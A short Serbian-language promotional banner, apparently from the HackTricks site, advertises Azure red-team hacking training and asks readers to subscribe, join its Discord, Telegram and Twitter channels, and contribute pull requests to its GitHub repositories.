Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks